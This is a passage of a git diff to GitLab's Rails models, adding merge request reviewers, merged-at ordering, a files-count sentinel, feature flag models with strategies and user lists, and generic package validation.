+ .non_invite
+ .non_minimal_access
.reorder(nil)
end
@@ -85,6 +87,7 @@ class Member < ApplicationRecord
scope :developers, -> { active.where(access_level: DEVELOPER) }
scope :maintainers, -> { active.where(access_level: MAINTAINER) }
scope :non_guests, -> { where('members.access_level > ?', GUEST) }
+ scope :non_minimal_access, -> { where('members.access_level > ?', MINIMAL_ACCESS) }
scope :owners, -> { active.where(access_level: OWNER) }
scope :owners_and_maintainers, -> { active.where(access_level: [OWNER, MAINTAINER]) }
scope :with_user, -> (user) { where(user: user) }
@@ -161,8 +164,8 @@ class Member < ApplicationRecord
where(user_id: user_ids).has_access.pluck(:user_id, :access_level).to_h
end
- def find_by_invite_token(invite_token)
- invite_token = Devise.token_generator.digest(self, :invite_token, invite_token)
+ def find_by_invite_token(raw_invite_token)
+ invite_token = Devise.token_generator.digest(self, :invite_token, raw_invite_token)
find_by(invite_token: invite_token)
end
@@ -397,6 +400,10 @@ class Member < ApplicationRecord
end
end
+ def invite_to_unknown_user?
+ invite? && user_id.nil?
+ end
+
private
def send_invite
diff --git a/app/models/members/group_member.rb b/app/models/members/group_member.rb
index 8c224dea88f..34958936c9f 100644
--- a/app/models/members/group_member.rb
+++ b/app/models/members/group_member.rb
@@ -13,6 +13,9 @@ class GroupMember < Member
# Make sure group member points only to group as it source
default_value_for :source_type, SOURCE_TYPE
validates :source_type, format: { with: /\ANamespace\z/ }
+ validates :access_level, presence: true
+ validate :access_level_inclusion
+
default_scope { where(source_type: SOURCE_TYPE) } # rubocop:disable Cop/DefaultScope
scope :of_groups, ->(groups) { where(source_id: groups.select(:id)) }
@@ -45,6 +48,12 @@ class GroupMember < Member
private
+ def access_level_inclusion
+ return if access_level.in?(Gitlab::Access.all_values)
+
+ errors.add(:access_level, "is not included in the list")
+ end
+
def send_invite
run_after_commit_or_now { notification_service.invite_group_member(self, @raw_invite_token) }
diff --git a/app/models/members_preloader.rb b/app/models/members_preloader.rb
index 6da8d5f3161..88db7f63bd9 100644
--- a/app/models/members_preloader.rb
+++ b/app/models/members_preloader.rb
@@ -12,6 +12,7 @@ class MembersPreloader
ActiveRecord::Associations::Preloader.new.preload(members, :source)
ActiveRecord::Associations::Preloader.new.preload(members.map(&:user), :status)
ActiveRecord::Associations::Preloader.new.preload(members.map(&:user), :u2f_registrations)
+ ActiveRecord::Associations::Preloader.new.preload(members.map(&:user), :webauthn_registrations)
end
end
diff --git a/app/models/merge_request.rb b/app/models/merge_request.rb
index f4c2d568b4d..3fdc501644d 100644
--- a/app/models/merge_request.rb
+++ b/app/models/merge_request.rb
@@ -21,10 +21,12 @@ class MergeRequest < ApplicationRecord
include MilestoneEventable
include StateEventable
include ApprovableBase
+ include IdInOrdered
extend ::Gitlab::Utils::Override
sha_attribute :squash_commit_sha
+ sha_attribute :merge_ref_sha
self.reactive_cache_key = ->(model) { [model.project.id, model.iid] }
self.reactive_cache_refresh_interval = 10.minutes
@@ -80,6 +82,8 @@ class MergeRequest < ApplicationRecord
has_many :merge_request_assignees
has_many :assignees, class_name: "User", through: :merge_request_assignees
+ has_many :merge_request_reviewers
+ has_many :reviewers, class_name: "User", through: :merge_request_reviewers
has_many :user_mentions, class_name: "MergeRequestUserMention", dependent: :delete_all # rubocop:disable Cop/ActiveRecordDependent
has_many :deployment_merge_requests
@@ -105,7 +109,6 @@ class MergeRequest < ApplicationRecord
after_create :ensure_merge_request_diff
after_update :clear_memoized_shas
- after_update :clear_memoized_source_branch_exists
after_update :reload_diff_if_branch_changed
after_commit :ensure_metrics, on: [:create, :update], unless: :importing?
after_commit :expire_etag_cache, unless: :importing?
@@ -250,6 +253,15 @@ class MergeRequest < ApplicationRecord
joins(:notes).where(notes: { commit_id: sha })
end
scope :join_project, -> { joins(:target_project) }
+ scope :join_metrics, -> do
+ query = joins(:metrics)
+
+ if Feature.enabled?(:improved_mr_merged_at_queries, default_enabled: true)
+ query = query.where(MergeRequest.arel_table[:target_project_id].eq(MergeRequest::Metrics.arel_table[:target_project_id]))
+ end
+
+ query
+ end
scope :references_project, -> { references(:target_project) }
scope :with_api_entity_associations, -> {
preload_routables
@@ -263,6 +275,14 @@ class MergeRequest < ApplicationRecord
where("target_branch LIKE ?", ApplicationRecord.sanitize_sql_like(wildcard_branch_name).tr('*', '%'))
end
scope :by_target_branch, ->(branch_name) { where(target_branch: branch_name) }
+ scope :order_merged_at, ->(direction) do
+ query = join_metrics.order(Gitlab::Database.nulls_last_order('merge_request_metrics.merged_at', direction))
+
+ # Add `merge_request_metrics.merged_at` to the `SELECT` in order to make the keyset pagination work.
+ query.select(*query.arel.projections, MergeRequest::Metrics.arel_table[:merged_at].as('"merge_request_metrics.merged_at"'))
+ end
+ scope :order_merged_at_asc, -> { order_merged_at('ASC') }
+ scope :order_merged_at_desc, -> { order_merged_at('DESC') }
scope :preload_source_project, -> { preload(:source_project) }
scope :preload_target_project, -> { preload(:target_project) }
scope :preload_routables, -> do
@@ -294,7 +314,7 @@ class MergeRequest < ApplicationRecord
alias_attribute :auto_merge_enabled, :merge_when_pipeline_succeeds
alias_method :issuing_parent, :target_project
- delegate :active?, to: :head_pipeline, prefix: true, allow_nil: true
+ delegate :active?, :builds_with_coverage, to: :head_pipeline, prefix: true, allow_nil: true
delegate :success?, :active?, to: :actual_head_pipeline, prefix: true, allow_nil: true
RebaseLockTimeout = Class.new(StandardError)
@@ -319,6 +339,15 @@ class MergeRequest < ApplicationRecord
.pluck(:target_branch)
end
+ def self.sort_by_attribute(method, excluded_labels: [])
+ case method.to_s
+ when 'merged_at', 'merged_at_asc' then order_merged_at_asc.with_order_id_desc
+ when 'merged_at_desc' then order_merged_at_desc.with_order_id_desc
+ else
+ super
+ end
+ end
+
def rebase_in_progress?
rebase_jid.present? && Gitlab::SidekiqStatus.running?(rebase_jid)
end
@@ -333,7 +362,11 @@ class MergeRequest < ApplicationRecord
def merge_pipeline
return unless merged?
- target_project.pipeline_for(target_branch, merge_commit_sha)
+ # When the merge_method is :merge there will be a merge_commit_sha, however
+ # when it is fast-forward there is no merge commit, so we must fall back to
+ # either the squash commit (if the MR was squashed) or the diff head commit.
+ sha = merge_commit_sha || squash_commit_sha || diff_head_sha
+ target_project.latest_pipeline(target_branch, sha)
end
# Pattern used to extract `!123` merge request references from text
@@ -867,10 +900,6 @@ class MergeRequest < ApplicationRecord
clear_memoization(:target_branch_head)
end
- def clear_memoized_source_branch_exists
- clear_memoization(:source_branch_exists)
- end
-
def reload_diff_if_branch_changed
if (saved_change_to_source_branch? || saved_change_to_target_branch?) &&
(source_branch_head && target_branch_head)
@@ -928,8 +957,9 @@ class MergeRequest < ApplicationRecord
self.class.wip_title(self.title)
end
- def mergeable?(skip_ci_check: false)
- return false unless mergeable_state?(skip_ci_check: skip_ci_check)
+ def mergeable?(skip_ci_check: false, skip_discussions_check: false)
+ return false unless mergeable_state?(skip_ci_check: skip_ci_check,
+ skip_discussions_check: skip_discussions_check)
check_mergeability
@@ -1122,11 +1152,9 @@ class MergeRequest < ApplicationRecord
end
def source_branch_exists?
- strong_memoize(:source_branch_exists) do
- next false unless self.source_project
+ return false unless self.source_project
- self.source_project.repository.branch_exists?(self.source_branch)
- end
+ self.source_project.repository.branch_exists?(self.source_branch)
end
def target_branch_exists?
@@ -1232,6 +1260,8 @@ class MergeRequest < ApplicationRecord
# Returns the current merge-ref HEAD commit.
#
def merge_ref_head
+ return project.repository.commit(merge_ref_sha) if merge_ref_sha
+
project.repository.commit(merge_ref_path)
end
@@ -1345,9 +1375,9 @@ class MergeRequest < ApplicationRecord
end
def has_coverage_reports?
- return false unless Feature.enabled?(:coverage_report_view, project)
+ return false unless Feature.enabled?(:coverage_report_view, project, default_enabled: true)
- actual_head_pipeline&.has_reports?(Ci::JobArtifact.coverage_reports)
+ actual_head_pipeline&.has_coverage_reports?
end
def has_terraform_reports?
@@ -1447,6 +1477,19 @@ class MergeRequest < ApplicationRecord
Commit.truncate_sha(merge_commit_sha) if merge_commit_sha
end
+ def merged_commit_sha
+ return unless merged?
+
+ sha = merge_commit_sha || squash_commit_sha || diff_head_sha
+ sha.presence
+ end
+
+ def short_merged_commit_sha
+ if sha = merged_commit_sha
+ Commit.truncate_sha(sha)
+ end
+ end
+
def can_be_reverted?(current_user)
return false unless merge_commit
return false unless merged_at
@@ -1561,7 +1604,7 @@ class MergeRequest < ApplicationRecord
def first_contribution?
return false if project.team.max_member_access(author_id) > Gitlab::Access::GUEST
- project.merge_requests.merged.where(author_id: author_id).empty?
+ !project.merge_requests.merged.exists?(author_id: author_id)
end
# TODO: remove once production database rename completes
@@ -1633,6 +1676,10 @@ class MergeRequest < ApplicationRecord
end
end
+ def allows_reviewers?
+ Feature.enabled?(:merge_request_reviewers, project)
+ end
+
private
def with_rebase_lock
diff --git a/app/models/merge_request_assignee.rb b/app/models/merge_request_assignee.rb
index 2ac1de4321a..73f8fe77b04 100644
--- a/app/models/merge_request_assignee.rb
+++ b/app/models/merge_request_assignee.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
class MergeRequestAssignee < ApplicationRecord
- belongs_to :merge_request
+ belongs_to :merge_request, touch: true
belongs_to :assignee, class_name: "User", foreign_key: :user_id, inverse_of: :merge_request_assignees
validates :assignee, uniqueness: { scope: :merge_request_id }
diff --git a/app/models/merge_request_diff.rb b/app/models/merge_request_diff.rb
index b70340a98cd..880e3cc1ba5 100644
--- a/app/models/merge_request_diff.rb
+++ b/app/models/merge_request_diff.rb
@@ -17,6 +17,10 @@ class MergeRequestDiff < ApplicationRecord
# diffs to external storage
EXTERNAL_DIFF_CUTOFF = 7.days.freeze
+ # The files_count column is a 2-byte signed integer. Look up the true value
+ # from the database if this sentinel is seen
+ FILES_COUNT_SENTINEL = 2**15 - 1
+
belongs_to :merge_request
manual_inverse_association :merge_request, :merge_request_diff
@@ -150,10 +154,10 @@ class MergeRequestDiff < ApplicationRecord
# All diff information is collected from repository after object is created.
# It allows you to override variables like head_commit_sha before getting diff.
after_create :save_git_content, unless: :importing?
- after_create :set_count_columns
after_create_commit :set_as_latest_diff, unless: :importing?
after_save :update_external_diff_store
+ after_save :set_count_columns
def self.find_by_diff_refs(diff_refs)
find_by(start_commit_sha: diff_refs.start_sha, head_commit_sha: diff_refs.head_sha, base_commit_sha: diff_refs.base_sha)
@@ -202,6 +206,17 @@ class MergeRequestDiff < ApplicationRecord
end
end
+ def files_count
+ db_value = read_attribute(:files_count)
+
+ case db_value
+ when nil, FILES_COUNT_SENTINEL
+ merge_request_diff_files.count
+ else
+ db_value
+ end
+ end
+
# This method will rely on repository branch sha
# in case start_commit_sha is nil. Its necesarry for old merge request diff
# created before version 8.4 to work
@@ -423,7 +438,7 @@ class MergeRequestDiff < ApplicationRecord
# external storage. If external storage isn't an option for this diff, the
# method is a no-op.
def migrate_files_to_external_storage!
- return if stored_externally? || !use_external_diff? || merge_request_diff_files.count == 0
+ return if stored_externally? || !use_external_diff? || files_count == 0
rows = build_merge_request_diff_files(merge_request_diff_files)
rows = build_external_merge_request_diff_files(rows)
@@ -449,7 +464,7 @@ class MergeRequestDiff < ApplicationRecord
# If this diff isn't in external storage, the method is a no-op.
def migrate_files_to_database!
return unless stored_externally?
- return if merge_request_diff_files.count == 0
+ return if files_count == 0
rows = convert_external_diffs_to_database
@@ -666,7 +681,7 @@ class MergeRequestDiff < ApplicationRecord
def set_count_columns
update_columns(
commits_count: merge_request_diff_commits.size,
- files_count: merge_request_diff_files.size
+ files_count: [FILES_COUNT_SENTINEL, merge_request_diff_files.size].min
)
end
diff --git a/app/models/merge_request_diff_file.rb b/app/models/merge_request_diff_file.rb
index 23319445a38..55ff4250c2d 100644
--- a/app/models/merge_request_diff_file.rb
+++ b/app/models/merge_request_diff_file.rb
@@ -25,6 +25,16 @@ class MergeRequestDiffFile < ApplicationRecord
super
end
- binary? ? content.unpack1('m0') : content
+ return content unless binary?
+
+ # If the data isn't valid base64, return it as-is, since it's almost certain
+ # to be a valid diff. Parsing it as a diff will fail if it's something else.
+ #
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/240921
+ begin
+ content.unpack1('m0')
+ rescue ArgumentError
+ content
+ end
end
end
diff --git a/app/models/merge_request_reviewer.rb b/app/models/merge_request_reviewer.rb
new file mode 100644
index 00000000000..1cb49c0cd76
--- /dev/null
+++ b/app/models/merge_request_reviewer.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class MergeRequestReviewer < ApplicationRecord
+ belongs_to :merge_request
+ belongs_to :reviewer, class_name: "User", foreign_key: :user_id, inverse_of: :merge_request_assignees
+end
diff --git a/app/models/namespace.rb b/app/models/namespace.rb
index e529ba6b486..527fa9d52d0 100644
--- a/app/models/namespace.rb
+++ b/app/models/namespace.rb
@@ -135,6 +135,10 @@ class Namespace < ApplicationRecord
uniquify.string(path) { |s| Namespace.find_by_path_or_name(s) }
end
+ def clean_name(value)
+ value.scan(Gitlab::Regex.group_name_regex_chars).join(' ')
+ end
+
def find_by_pages_host(host)
gitlab_host = "." + Settings.pages.host.downcase
host = host.downcase
@@ -349,6 +353,10 @@ class Namespace < ApplicationRecord
)
end
+ def any_project_with_pages_deployed?
+ all_projects.with_pages_deployed.any?
+ end
+
def closest_setting(name)
self_and_ancestors(hierarchy_order: :asc)
.find { |n| !n.read_attribute(name).nil? }
diff --git a/app/models/namespace/root_storage_statistics.rb b/app/models/namespace/root_storage_statistics.rb
index 2ad6ea59588..5723a823e98 100644
--- a/app/models/namespace/root_storage_statistics.rb
+++ b/app/models/namespace/root_storage_statistics.rb
@@ -2,7 +2,16 @@
class Namespace::RootStorageStatistics < ApplicationRecord
SNIPPETS_SIZE_STAT_NAME = 'snippets_size'.freeze
- STATISTICS_ATTRIBUTES = %W(storage_size repository_size wiki_size lfs_objects_size build_artifacts_size packages_size #{SNIPPETS_SIZE_STAT_NAME}).freeze
+ STATISTICS_ATTRIBUTES = %W(
+ storage_size
+ repository_size
+ wiki_size
+ lfs_objects_size
+ build_artifacts_size
+ packages_size
+ #{SNIPPETS_SIZE_STAT_NAME}
+ pipeline_artifacts_size
+ ).freeze
self.primary_key = :namespace_id
@@ -40,7 +49,8 @@ class Namespace::RootStorageStatistics < ApplicationRecord
'COALESCE(SUM(ps.lfs_objects_size), 0) AS lfs_objects_size',
'COALESCE(SUM(ps.build_artifacts_size), 0) AS build_artifacts_size',
'COALESCE(SUM(ps.packages_size), 0) AS packages_size',
- "COALESCE(SUM(ps.snippets_size), 0) AS #{SNIPPETS_SIZE_STAT_NAME}"
+ "COALESCE(SUM(ps.snippets_size), 0) AS #{SNIPPETS_SIZE_STAT_NAME}",
+ 'COALESCE(SUM(ps.pipeline_artifacts_size), 0) AS pipeline_artifacts_size'
)
end
diff --git a/app/models/note.rb b/app/models/note.rb
index e1fc16818b3..812d77d5f86 100644
--- a/app/models/note.rb
+++ b/app/models/note.rb
@@ -20,20 +20,6 @@ class Note < ApplicationRecord
include ThrottledTouch
include FromUnion
- module SpecialRole
- FIRST_TIME_CONTRIBUTOR = :first_time_contributor
-
- class << self
- def values
- constants.map {|const| self.const_get(const, false)}
- end
-
- def value?(val)
- values.include?(val)
- end
- end
- end
-
cache_markdown_field :note, pipeline: :note, issuable_state_filter_enabled: true
redact_field :note
@@ -60,9 +46,6 @@ class Note < ApplicationRecord
# Attribute used to store the attributes that have been changed by quick actions.
attr_accessor :commands_changes
- # A special role that may be displayed on issuable's discussions
- attr_reader :special_role
-
default_value_for :system, false
attr_mentionable :note, pipeline: :note
@@ -220,10 +203,6 @@ class Note < ApplicationRecord
.where(noteable_type: type, noteable_id: ids)
end
- def has_special_role?(role, note)
- note.special_role == role
- end
-
def search(query)
fuzzy_search(query, [:note])
end
@@ -342,20 +321,20 @@ class Note < ApplicationRecord
noteable.author_id == user.id
end
- def special_role=(role)
- raise "Role is undefined, #{role} not found in #{SpecialRole.values}" unless SpecialRole.value?(role)
+ def contributor?
+ return false unless ::Feature.enabled?(:show_contributor_on_note, project)
- @special_role = role
+ project&.team&.contributor?(self.author_id)
end
- def has_special_role?(role)
- self.class.has_special_role?(role, self)
- end
+ def noteable_author?(noteable)
+ return false unless ::Feature.enabled?(:show_author_on_note, project)
- def specialize_for_first_contribution!(noteable)
- return unless noteable.author_id == self.author_id
+ noteable.author == self.author
+ end
- self.special_role = Note::SpecialRole::FIRST_TIME_CONTRIBUTOR
+ def project_name
+ project&.name
end
def confidential?(include_noteable: false)
@@ -556,6 +535,8 @@ class Note < ApplicationRecord
end
def system_note_with_references_visible_for?(user)
+ return true unless system?
+
(!system_note_with_references? || all_referenced_mentionables_allowed?(user)) && system_note_viewable_by?(user)
end
@@ -563,6 +544,10 @@ class Note < ApplicationRecord
noteable.author if for_personal_snippet?
end
+ def skip_notification?
+ review.present?
+ end
+
private
# Using this method followed by a call to `save` may result in ActiveRecord::RecordNotUnique exception
diff --git a/app/models/operations/feature_flag.rb b/app/models/operations/feature_flag.rb
new file mode 100644
index 00000000000..586e9d689a1
--- /dev/null
+++ b/app/models/operations/feature_flag.rb
@@ -0,0 +1,101 @@
+# frozen_string_literal: true
+
+module Operations
+ class FeatureFlag < ApplicationRecord
+ include AtomicInternalId
+ include IidRoutes
+
+ self.table_name = 'operations_feature_flags'
+
+ belongs_to :project
+
+ has_internal_id :iid, scope: :project, init: ->(s) { s&.project&.operations_feature_flags&.maximum(:iid) }
+
+ default_value_for :active, true
+
+ # scopes exists only for the first version
+ has_many :scopes, class_name: 'Operations::FeatureFlagScope'
+ # strategies exists only for the second version
+ has_many :strategies, class_name: 'Operations::FeatureFlags::Strategy'
+ has_many :feature_flag_issues
+ has_many :issues, through: :feature_flag_issues
+ has_one :default_scope, -> { where(environment_scope: '*') }, class_name: 'Operations::FeatureFlagScope'
+
+ validates :project, presence: true
+ validates :name,
+ presence: true,
+ length: 2..63,
+ format: {
+ with: Gitlab::Regex.feature_flag_regex,
+ message: Gitlab::Regex.feature_flag_regex_message
+ }
+ validates :name, uniqueness: { scope: :project_id }
+ validates :description, allow_blank: true, length: 0..255
+ validate :first_default_scope, on: :create, if: :has_scopes?
+ validate :version_associations
+
+ before_create :build_default_scope, if: -> { legacy_flag? && scopes.none? }
+
+ accepts_nested_attributes_for :scopes, allow_destroy: true
+ accepts_nested_attributes_for :strategies, allow_destroy: true
+
+ scope :ordered, -> { order(:name) }
+
+ scope :enabled, -> { where(active: true) }
+ scope :disabled, -> { where(active: false) }
+
+ enum version: {
+ legacy_flag: 1,
+ new_version_flag: 2
+ }
+
+ class << self
+ def preload_relations
+ preload(:scopes, strategies: :scopes)
+ end
+
+ def for_unleash_client(project, environment)
+ includes(strategies: [:scopes, :user_list])
+ .where(project: project)
+ .merge(Operations::FeatureFlags::Scope.on_environment(environment))
+ .reorder(:id)
+ .references(:operations_scopes)
+ end
+ end
+
+ def related_issues(current_user, preload:)
+ issues = ::Issue
+ .select('issues.*, operations_feature_flags_issues.id AS link_id')
+ .joins(:feature_flag_issues)
+ .where('operations_feature_flags_issues.feature_flag_id = ?', id)
+ .order('operations_feature_flags_issues.id ASC')
+ .includes(preload)
+
+ Ability.issues_readable_by_user(issues, current_user)
+ end
+
+ private
+
+ def version_associations
+ if new_version_flag? && scopes.any?
+ errors.add(:version_associations, 'version 2 feature flags may not have scopes')
+ elsif legacy_flag? && strategies.any?
+ errors.add(:version_associations, 'version 1 feature flags may not have strategies')
+ end
+ end
+
+ def first_default_scope
+ unless scopes.first.environment_scope == '*'
+ errors.add(:default_scope, 'has to be the first element')
+ end
+ end
+
+ def build_default_scope
+ scopes.build(environment_scope: '*', active: self.active)
+ end
+
+ def has_scopes?
+ scopes.any?
+ end
+ end
+end
diff --git a/app/models/operations/feature_flag_scope.rb b/app/models/operations/feature_flag_scope.rb
new file mode 100644
index 00000000000..78be29f2531
--- /dev/null
+++ b/app/models/operations/feature_flag_scope.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+module Operations
+ class FeatureFlagScope < ApplicationRecord
+ prepend HasEnvironmentScope
+ include Gitlab::Utils::StrongMemoize
+
+ self.table_name = 'operations_feature_flag_scopes'
+
+ belongs_to :feature_flag
+
+ validates :environment_scope, uniqueness: {
+ scope: :feature_flag,
+ message: "(%{value}) has already been taken"
+ }
+
+ validates :environment_scope,
+ if: :default_scope?, on: :update,
+ inclusion: { in: %w(*), message: 'cannot be changed from default scope' }
+
+ validates :strategies, feature_flag_strategies: true
+
+ before_destroy :prevent_destroy_default_scope, if: :default_scope?
+
+ scope :ordered, -> { order(:id) }
+ scope :enabled, -> { where(active: true) }
+ scope :disabled, -> { where(active: false) }
+
+ def self.with_name_and_description
+ joins(:feature_flag)
+ .select(FeatureFlag.arel_table[:name], FeatureFlag.arel_table[:description])
+ end
+
+ def self.for_unleash_client(project, environment)
+ select_columns = [
+ 'DISTINCT ON (operations_feature_flag_scopes.feature_flag_id) operations_feature_flag_scopes.id',
+ '(operations_feature_flags.active AND operations_feature_flag_scopes.active) AS active',
+ 'operations_feature_flag_scopes.strategies',
+ 'operations_feature_flag_scopes.environment_scope',
+ 'operations_feature_flag_scopes.created_at',
+ 'operations_feature_flag_scopes.updated_at'
+ ]
+
+ select(select_columns)
+ .with_name_and_description
+ .where(feature_flag_id: project.operations_feature_flags.select(:id))
+ .order(:feature_flag_id)
+ .on_environment(environment)
+ .reverse_order
+ end
+
+ private
+
+ def default_scope?
+ environment_scope_was == '*'
+ end
+
+ def prevent_destroy_default_scope
+ raise ActiveRecord::ReadOnlyRecord, "default scope cannot be destroyed"
+ end
+ end
+end
diff --git a/app/models/operations/feature_flags/scope.rb b/app/models/operations/feature_flags/scope.rb
new file mode 100644
index 00000000000..d70101b5e0d
--- /dev/null
+++ b/app/models/operations/feature_flags/scope.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Operations
+ module FeatureFlags
+ class Scope < ApplicationRecord
+ prepend HasEnvironmentScope
+
+ self.table_name = 'operations_scopes'
+
+ belongs_to :strategy, class_name: 'Operations::FeatureFlags::Strategy'
+ end
+ end
+end
diff --git a/app/models/operations/feature_flags/strategy.rb b/app/models/operations/feature_flags/strategy.rb
new file mode 100644
index 00000000000..ff68af9741e
--- /dev/null
+++ b/app/models/operations/feature_flags/strategy.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+
+module Operations
+ module FeatureFlags
+ class Strategy < ApplicationRecord
+ STRATEGY_DEFAULT = 'default'
+ STRATEGY_GITLABUSERLIST = 'gitlabUserList'
+ STRATEGY_GRADUALROLLOUTUSERID = 'gradualRolloutUserId'
+ STRATEGY_USERWITHID = 'userWithId'
+ STRATEGIES = {
+ STRATEGY_DEFAULT => [].freeze,
+ STRATEGY_GITLABUSERLIST => [].freeze,
+ STRATEGY_GRADUALROLLOUTUSERID => %w[groupId percentage].freeze,
+ STRATEGY_USERWITHID => ['userIds'].freeze
+ }.freeze
+ USERID_MAX_LENGTH = 256
+
+ self.table_name = 'operations_strategies'
+
+ belongs_to :feature_flag
+ has_many :scopes, class_name: 'Operations::FeatureFlags::Scope'
+ has_one :strategy_user_list
+ has_one :user_list, through: :strategy_user_list
+
+ validates :name,
+ inclusion: {
+ in: STRATEGIES.keys,
+ message: 'strategy name is invalid'
+ }
+
+ validate :parameters_validations, if: -> { errors[:name].blank? }
+ validates :user_list, presence: true, if: -> { name == STRATEGY_GITLABUSERLIST }
+ validates :user_list, absence: true, if: -> { name != STRATEGY_GITLABUSERLIST }
+ validate :same_project_validation, if: -> { user_list.present? }
+
+ accepts_nested_attributes_for :scopes, allow_destroy: true
+
+ def user_list_id=(user_list_id)
+ self.user_list = ::Operations::FeatureFlags::UserList.find(user_list_id)
+ end
+
+ private
+
+ def same_project_validation
+ unless user_list.project_id == feature_flag.project_id
+ errors.add(:user_list, 'must belong to the same project')
+ end
+ end
+
+ def parameters_validations
+ validate_parameters_type &&
+ validate_parameters_keys &&
+ validate_parameters_values
+ end
+
+ def validate_parameters_type
+ parameters.is_a?(Hash) || parameters_error('parameters are invalid')
+ end
+
+ def validate_parameters_keys
+ actual_keys = parameters.keys.sort
+ expected_keys = STRATEGIES[name].sort
+ expected_keys == actual_keys || parameters_error('parameters are invalid')
+ end
+
+ def validate_parameters_values
+ case name
+ when STRATEGY_GRADUALROLLOUTUSERID
+ gradual_rollout_user_id_parameters_validation
+ when STRATEGY_USERWITHID
+ FeatureFlagUserXidsValidator.validate_user_xids(self, :parameters, parameters['userIds'], 'userIds')
+ end
+ end
+
+ def gradual_rollout_user_id_parameters_validation
+ percentage = parameters['percentage']
+ group_id = parameters['groupId']
+
+ unless percentage.is_a?(String) && percentage.match(/\A[1-9]?[0-9]\z|\A100\z/)
+ parameters_error('percentage must be a string between 0 and 100 inclusive')
+ end
+
+ unless group_id.is_a?(String) && group_id.match(/\A[a-z]{1,32}\z/)
+ parameters_error('groupId parameter is invalid')
+ end
+ end
+
+ def parameters_error(message)
+ errors.add(:parameters, message)
+ false
+ end
+ end
+ end
+end
diff --git a/app/models/operations/feature_flags/strategy_user_list.rb b/app/models/operations/feature_flags/strategy_user_list.rb
new file mode 100644
index 00000000000..813b632dd67
--- /dev/null
+++ b/app/models/operations/feature_flags/strategy_user_list.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module Operations
+ module FeatureFlags
+ class StrategyUserList < ApplicationRecord
+ self.table_name = 'operations_strategies_user_lists'
+
+ belongs_to :strategy
+ belongs_to :user_list
+ end
+ end
+end
diff --git a/app/models/operations/feature_flags/user_list.rb b/app/models/operations/feature_flags/user_list.rb
new file mode 100644
index 00000000000..b9bdcb59d5f
--- /dev/null
+++ b/app/models/operations/feature_flags/user_list.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module Operations
+ module FeatureFlags
+ class UserList < ApplicationRecord
+ include AtomicInternalId
+ include IidRoutes
+
+ self.table_name = 'operations_user_lists'
+
+ belongs_to :project
+ has_many :strategy_user_lists
+ has_many :strategies, through: :strategy_user_lists
+
+ has_internal_id :iid, scope: :project, init: ->(s) { s&.project&.operations_feature_flags_user_lists&.maximum(:iid) }, presence: true
+
+ validates :project, presence: true
+ validates :name,
+ presence: true,
+ uniqueness: { scope: :project_id },
+ length: 1..255
+ validates :user_xids, feature_flag_user_xids: true
+
+ before_destroy :ensure_no_associated_strategies
+
+ private
+
+ def ensure_no_associated_strategies
+ if strategies.present?
+ errors.add(:base, 'User list is associated with a strategy')
+ throw :abort # rubocop: disable Cop/BanCatchThrow
+ end
+ end
+ end
+ end
+end
diff --git a/app/models/operations/feature_flags_client.rb b/app/models/operations/feature_flags_client.rb
new file mode 100644
index 00000000000..1c65c3f096e
--- /dev/null
+++ b/app/models/operations/feature_flags_client.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Operations
+ class FeatureFlagsClient < ApplicationRecord
+ include TokenAuthenticatable
+
+ self.table_name = 'operations_feature_flags_clients'
+
+ belongs_to :project
+
+ validates :project, presence: true
+ validates :token, presence: true
+
+ add_authentication_token_field :token, encrypted: :required
+
+ before_validation :ensure_token!
+
+ def self.find_for_project_and_token(project, token)
+ return unless project
+ return unless token
+
+ where(project_id: project).find_by_token(token)
+ end
+ end
+end
diff --git a/app/models/packages/conan/file_metadatum.rb b/app/models/packages/conan/file_metadatum.rb
index e1ef62b3959..de54580e948 100644
--- a/app/models/packages/conan/file_metadatum.rb
+++ b/app/models/packages/conan/file_metadatum.rb
@@ -3,6 +3,9 @@
class Packages::Conan::FileMetadatum < ApplicationRecord
belongs_to :package_file, inverse_of: :conan_file_metadatum
+ DEFAULT_PACKAGE_REVISION = '0'.freeze
+ DEFAULT_RECIPE_REVISION = '0'.freeze
+
validates :package_file, presence: true
validates :recipe_revision,
diff --git a/app/models/packages/package.rb b/app/models/packages/package.rb
index d6633456de4..bda11160957 100644
--- a/app/models/packages/package.rb
+++ b/app/models/packages/package.rb
@@ -5,6 +5,8 @@ class Packages::Package < ApplicationRecord
include UsageStatistics
belongs_to :project
+ belongs_to :creator, class_name: 'User'
+
# package_files must be destroyed by ruby code in order to properly remove carrierwave uploads and update project statistics
has_many :package_files, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
has_many :dependency_links, inverse_of: :package, class_name: 'Packages::DependencyLink'
@@ -37,8 +39,13 @@ class Packages::Package < ApplicationRecord
validates :name, format: { with: Gitlab::Regex.conan_recipe_component_regex }, if: :conan?
validates :version, format: { with: Gitlab::Regex.conan_recipe_component_regex }, if: :conan?
validates :version, format: { with: Gitlab::Regex.maven_version_regex }, if: -> { version? && maven? }
+ validates :version, format: { with: Gitlab::Regex.pypi_version_regex }, if: :pypi?
+ validates :version,
+ presence: true,
+ format: { with: Gitlab::Regex.generic_package_version_regex },
+ if: :generic?
- enum package_type: { maven: 1, npm: 2, conan: 3, nuget: 4, pypi: 5, composer: 6 }
+ enum package_type: { maven: 1, npm: 2, conan: 3, nuget: 4, pypi: 5, composer: 6, generic: 7 }
scope :with_name, ->(name) { where(name: name) }
scope :with_name_like, ->(name) { where(arel_table[:name].matches(name)) }
@@ -46,6 +53,9 @@ class Packages::Package < ApplicationRecord
scope :with_version, ->(version) { where(version: version) }
scope :without_version_like, -> (version) { where.not(arel_table[:version].matches(version)) }
scope :with_package_type, ->(package_type) { where(package_type: package_type) }
+ scope :including_build_info, -> { includes(build_info: { pipeline: :user }) }
+ scope :including_project_route, -> { includes(project: { namespace: :route }) }
+ scope :including_tags, -> { includes(:tags) }
scope :with_conan_channel, ->(package_channel) do
joins(:conan_metadatum).where(packages_conan_metadata: { package_channel: package_channel })
@@ -138,6 +148,8 @@ class Packages::Package < ApplicationRecord
def versions
project.packages
+ .including_build_info
+ .including_tags
.with_name(name)
.where.not(version: version)
.with_package_type(package_type)
